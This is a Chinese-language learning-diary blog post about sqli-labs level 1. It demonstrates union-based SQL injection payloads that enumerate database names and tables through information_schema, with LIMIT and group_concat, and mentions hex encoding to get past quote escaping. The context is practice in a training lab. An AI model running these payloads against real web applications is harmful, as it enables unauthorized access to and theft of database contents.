渗透学习日记day11(sqli-labs)

本文记录了作者在sqli-labs中进行SQL注入实践的过程,重点介绍了如何利用联合查询获取数据库名。通过调整SELECT语句的结构,如使用LIMIT和GROUP_CONCAT函数,逐步揭示了数据库信息。同时提到了字符型注入的特点和如何处理单双引号的闭合问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

继续昨天的sqli-labs第一关

这里采取联合查询

id=' union select 1,2,3 --+ 

这里是因为之前之前用id=' or 1=1 --+          可以得到username 和 password两个字段 相当于表中有三个字段?(我自己理解)

当然可以自己在select 后 1,2,3,4,...   利用显错一个个试        

那么这步之后就是看他回显点在哪里

 

 很明显回显的点在 2,3 可以在这里用user()字段查看数据库名

当然还可以逐行显示数据库名         第一行就是limit 0,1 第二行是1,1 第三行是2,1以此类推

这里不能全部显示是因为结果每次只能显示一行,不然会报错(下图可以看到最终执行的sql语句后面是跟了limit 0,1的,是人家写好的不是我们写的limit)

 

id=' union select 1,(select schema_name from information_schema.SCHEMATA limit 0,1) ,3 --+

 

这里如果想把全部信息显示在一行,要用到group_concat()函数

id=' union select 1,(select group_concat(schema_name) from information_schema.SCHEMATA ) ,3 --+

 那么这里也是可以看到成功的效果

根据SQL数据类型分类

  • 整数型注入(不需要闭合单双引号)
  • 字符型注入(需要闭合单双引号,括号或者需要注释) 

查询某个指定数据库下面有哪些表:

select table_name from information_schema.tables where table_schema = '指定数据库名'

拼接后的语句: 

id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3 --+

 

 如果这里对单双引号进行转译,我们可以考虑通过编码的方式:

这里其实就是转换为数据库会对哪种编码进行自动解码

这里注意通过十六进制编码出来的结果后要在查询处结果前加 0x(代表十六进制) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值